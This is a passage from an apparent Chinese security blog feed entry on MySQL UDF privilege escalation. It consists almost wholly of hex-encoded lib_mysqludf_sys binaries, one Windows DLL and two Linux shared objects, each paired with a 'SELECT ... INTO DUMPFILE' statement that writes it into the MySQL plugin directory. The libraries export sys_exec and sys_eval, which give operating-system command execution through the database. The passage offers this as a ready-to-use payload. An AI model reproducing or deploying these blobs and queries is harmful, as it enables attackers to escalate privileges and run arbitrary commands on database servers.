074d74889f94889faffc8f2ae4889e9ff96f4a100004809c074094889034883c308ebd64883c4285d5f5e5b31c0c34883c4284883c704488d5efc31c08a0748ffc709c074233cef77114801c3488b03480fc84801f0488903ebe0240fc1e010668b074883c702ebe1488baefca10000488dbe00f0ffffbb00100000504989e141b8040000004889da4889f94883ec20ffd5488d871702000080207f8060287f4c8d4c24204d8b014889da4889f9ffd54883c4285d5f5e5b488d4424806a004839c475f94883ec804c8b442418488b542410488b4c2408e91f79ffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005cb0000054010000e404000000000000586000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564338302e435254222076657273696f6e3d22382e302e35303630382e30222070726f636573736f724172636869746563747572653d22616d64363422207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e0000000000000000000000002cb20000ecb1000000000000000000000000000039b200001cb20000000000000000000000000000000000000000000044b200000000000052b200000000000062b200000000000072b200000000000080b200000000000000000000000000008eb200000000000000000000000000004b45524e454c33322e444c4c004d5356435238302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c46726565000000667265650000000000000000a727a15a0000000074b30000010000001200000012000000c0b2000008b3000050b300007010000060100000001000008015000060100000701500002014000060100000901300000014000060100000901300003011000060100000c010000000130000e0120000a011000089b300009fb30000bcb30000d7b30000e3b30000f6b3000007b4000010b4000020b400002eb4000037b4000047b4000055b400005db400006cb4000079b4000081b4000090b4000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 INTO DUMPFILE &#x27;D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll&#x27;;</span><br></pre></td></tr></table></figure></div></details></div><div class="tab-pane" id="tab_1-2"><details class="tag-plugin colorful folding" color="yellow" child="codeblock" open><summary><p>lib_mysqludf_sys_32.so</p></summary><div class="body"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT 0x7f454c4601010100000000000000000003000300010000007009000034000000581200000000000034002000040028001900180001000000000000000000000000000000f80e0000f80e00000500000000100000010000000010000000100000001000000801000010010000060000000010000002000000141000001410000014100000d0000000d0000000060000000400000051e5746400000000000000000000000000000000000000000600000004000000250000002a0000001400000008000000270000001d0000000000000000000000030000000000000011000000000000000a0000002900000012000000200000000000000000000000260000000c0000002100000017000000230000000d000000000000000e0000001c000000150000000000000006000000000000000000000010000000220000000f0000002400000019000000180000000000000000000000000000000000000000000000000000001a0000000200000013000000050000000000000000000000000000000000000000000000000000001f00000001000000280000000000000000000000000000000000000000000000070000002500000016000000000000000b00000000000000000000000000000000000000000000001e0000001b0000000000000000000000090000000000000000000000040000000000000011000000130000000400000007000000010804409019c7c9bda4080390046083130000001500000016000000180000001a0000001c0000001f00000021000000000000002200000000000000230000002400000026000000280000002900000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe1200000000000000000000000000000000e7000000000000008d00000012000000c2000000000000005c00000012000000ba00000000000000e7040000120000000100000000000000000000002000000025000000000000000000000020000000ed000000000000007e02000012000000ab01000000000000150100001200000079010000000000007d00000012000000c700000000000000c600000012000000f50000000000000071010000120000009e01000000000000fb00000012000000cf00000000000000700000001200000010010000000000002500000012000000e0000000000000008901000012000000b500000000000000a80200001200000016000000000000000b0100002200000088010000000000007400000012000000fb00000000000000230000001200000080010000040d00006100000012000b00750000003b0a00000500000012000b0010000000f80d00000000000012000c003f010000a10c00002500000012000b001f010000100900000000000012000900c301000008110000000000001000f1ff96000000470a00000500000012000b0070010000ee0c00001600000012000b00cf01000010110000000000001000f1ff56000000310a00000500000012000b00020100009c0b00003000000012000b00a30100007d0d00003e00000012000b00390000002c0a00000500000012000b00320100006b0c00003600000012000b00bc01000008110000000000001000f1ff65000000360a00000500000012000b0025010000fc0b00006f00000012000b0085000000400a00000700000012000b0017010000cc0b00003000000012000b0055010000c60c00002800000012000b00a90000004c0a00008800000012000b008f010000650d00001800000012000b00d7000000d40a0000c800000012000b00005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3000474c4942435f322e310000000200030003000000000003000300030003000300030003000300030003000400030002000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000300b20100001000000000000000731f690900000400d4010000100000001069690d00000300e0010000100000001169690d00000200ea01000000000000040b000008000000b70b000008000000e70b000008000000110c000008000000220c000008000000550c0000080000008e0c000008000000ac0c000008000000d90c00000800000004110000080000006b0a0000020f00007c0a000002030000960a000002020000ad0a000002090000430b000002090000bc0a0000020c0000e40a0000020e0000f30a0000020e00003f0c0000020e00000e0b000002010000310b000002060000560b0000020a0000680b000002120000bf0b0000020d0000ef0b0000020d00005b0c0000020d0000960c0000020d0000b20c0000020d0000e10c0000020d0000fd0c000002080000580d000002110000770d0000020b00008e0d000002070000e410000006040000e810000006050000ec10000006100000fc1000000704000000110000071000005589e55383ec04e8000000005b81c3d40700008b93f4ffffff85d27405e81e000000e8b9000000e884040000585bc9c3ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff5589e55653e8ad00000081c37607000083ec1080bb1800000000755d8b83fcffffff85c0740e8b8314000000890424e8bcffffff8b8b1c0000008d831cffffff8d9318ffffff29d0c1f8028d70ff39f173208db6000000008d410189831c000000ff948318ffffff8b8b1c00000039f172e6c683180000000183c4105b5e5dc35589e553e82e00000081c3f706000083ec048b9320ffffff85d274158b93f8ffffff85d2740b8d8320ffffff890424ffd283c4045b5dc38b1c24c3905589e55dc35589e55dc35589e55dc35589e55dc35531c089e55dc35589e55dc35589e557565383ec0cfc83c9ff8b750c8b46088b3831c0f2aef7d18d59ffe8fcffffff83f8007c53753f83ec0c6a1ee8fcffffff5f596a006a00486a218d1418f7d06a0721d0506a00e8fcffffff83c42083f8ff89c7742351538b4608ff3057e8fcffffffffd7eb0b526a016a0050e8fcffffff31c083c410eb05b8010000008d65f45b5e5f5dc35589e557565383ec18fc6800040000e8fcffffffc70424010000008945e8e8fcffffffc6000089c68b450c595b31db68840e00008b4008ff30e8fcffffff8945eceb338b7de831c083c9fff2ae5252f7d18d79ff8d043b50568945f0e8fcffffff83c40c57ff75e889c68d041850e8fcffffff8b5df083c40cff75ec6a04ff75e8e8fcffffff83c41085c075b683ec0cff75ece8fcffffff83c410803e0075088b4518c60001eb16c6441eff0031c083c9ff89f7f2ae8b4514f7d14989088d65f489f05b5e5f5dc35589e583ec088b450c833801750a8b400431d28338007414505068140e0000ff7510e8fcffffffb20183c41088d0c9c35589e583ec088b450c833801750a8b400431d28338007414505068140e0000ff7510e8fcffffffb20183c41088d0c9c35589e55383ec048b550c8b5d10833a0274095050683f0e0000eb428b420483380074095050685e0e0000eb318b520c83ec0cc74004000000008b0283c00203420450e8fcffffff8b550883c41089420c31d285c07512505068860e000053e8fcffffffb20183c41088d08b5dfcc9c35589e583ec088b450c83380175128b4004833800750a8b4508c6000131c0eb14505068140e0000ff7510e8fcffffffb00183c410c9c35589e55383ec0c8b5d1068a00e000053e8fcffffff8b4514c7001e00000089d88b5dfcc9c35531d289e583ec088b450c8338007414525268bf0e0000ff7510e8fcffffffb20183c41088d0c9c35589e583ec148b450c8b4008ff30e8fcffffffc999c35589e557565383ec10fc8b550c8b45088b580c8b420c89df8b088d440b018945e88b42088b30f3a48b420c8b00c60403008b42088b4a0c8b7de88b70048b4904f3a48b420c8b55e88b4004c60402006a015253e8fcffffff8d65f45b5e5f5d99c35589e58b45088b400c85c074098945085de9fcffffff5dc35589e55783ec10fc8b450c8b4008ff30e8fcffffff83c41085c089c275088b4518c60001eb1131c083c9ff89d7f2ae8b4514f7d149890889d08b7dfcc9c390909090905589e55653e85dfcffff81c3260300008b8310ffffff83f8ff74198db310ffffff8db4260000000083ee04ffd08b0683f8ff75f45b5e5dc35589e55383ec04e8000000005b81c3ec020000e860fbffff595bc9c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000ffffffff000000000000000001000000b20100000c000000100900000d000000f80d000004000000b4000000f5feff6ff8010000050000005805000006000000b80200000a000000f40100000b0000001000000003000000f010000002000000100000001400000011000000170000000009000011000000e0070000120000002001000013000000080000001600000000000000feffff6fa0070000ffffff6f01000000f0ffff6f4c070000faffff6f0a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000141000000000000000000000560900006609000004110000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000b4000000b400000044010000030000000000000004000000040000000b000000f6ffff6f02000000f8010000f8010000c000000003000000000000000400000004000000150000000b00000002000000b8020000b8020000a0020000040000000100000004000000100000001d00000003000000020000005805000058050000f40100000000000000000000010000000000000025000000ffffff6f020000004c0700004c070000540000000300000000000000020000000200000032000000feffff6f02000000a0070000a00700004000000004000000010000000400000000000000410000000900000002000000e0070000e007000020010000030000000000000004000000080000004a0000000900000002000000000900000009000010000000030000000a0000000400000008000000530000000100000006000000100900001009000030000000000000000000000004000000000000004e000000010000000600000040090000400900003000000000000000000000000400000004000000590000000100000006000000700900007009000088040000000000000000000010000000000000005f0000000100000006000000f80d0000f80d00001c00000000000000000000000400000000000000650000000100000032000000140e0000140e0000dd000000000000000000000001000000010000006d0000000100000002000000f40e0000f40e00000400000000000000000000000400000000000000770000000100000003000000001000000010000008000000000000000000000004000000000000007e000000010000000300000008100000081000000800000000000000000000000400000000000000850000000100000003000000101000001010000004000000000000000000000004000000000000008a00000006000000030000001410000014100000d000000004000000000000000400000008000000930000000100000003000000e4100000e41000000c00000000000000000000000400000004000000980000000100000003000000f0100000f01000001400000000000000000000000400000004000000a1000000010000000300000004110000041100000400000000000000000000000400000000000000a7000000080000000300000008110000081100000800000000000000000000000400000000000000ac000000010000000000000000000000081100009b0000000000000000000000010000000000000001000000030000000000000000000000a3110000b500000000000000000000000100000000000000 INTO DUMPFILE &#x27;/usr/lib/mysql/plugin/udf.so&#x27;;</span><br></pre></td></tr></table></figure></div></details><details class="tag-plugin colorful folding" color="yellow" child="codeblock" open><summary><p>lib_mysqludf_sys_64.so</p></summary><div class="body"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE &#x27;/usr/lib/mysql/plugin/udf.so&#x27;;</span><br></pre></td></tr></table></figure></div></details></div></div></div>]]>
    </content>
    <id>https://hackun.top/2025/08/06/MySQL-UDF%E6%8F%90%E6%9D%8316%E8%BF%9B%E5%88%B6%E6%9F%A5%E8%AF%A2/</id>
    <link href="https://hackun.top/2025/08/06/MySQL-UDF%E6%8F%90%E6%9D%8316%E8%BF%9B%E5%88%B6%E6%9F%A5%E8%AF%A2/"/>
    <published>2025-08-06T07:43:16.474Z</published>
    <summary>
      <![CDATA[<p>本文提供UDF提权中dll文件查询使用</p>]]>
    </summary>
    <title>MySQL UDF提权16进制查询</title>
    <updated>2025-08-07T02:47:22.762Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="Windows" scheme="https://hackun.top/categories/Windows/"/>
    <category term="Windows" scheme="https://hackun.top/tags/Windows/"/>
    <content>
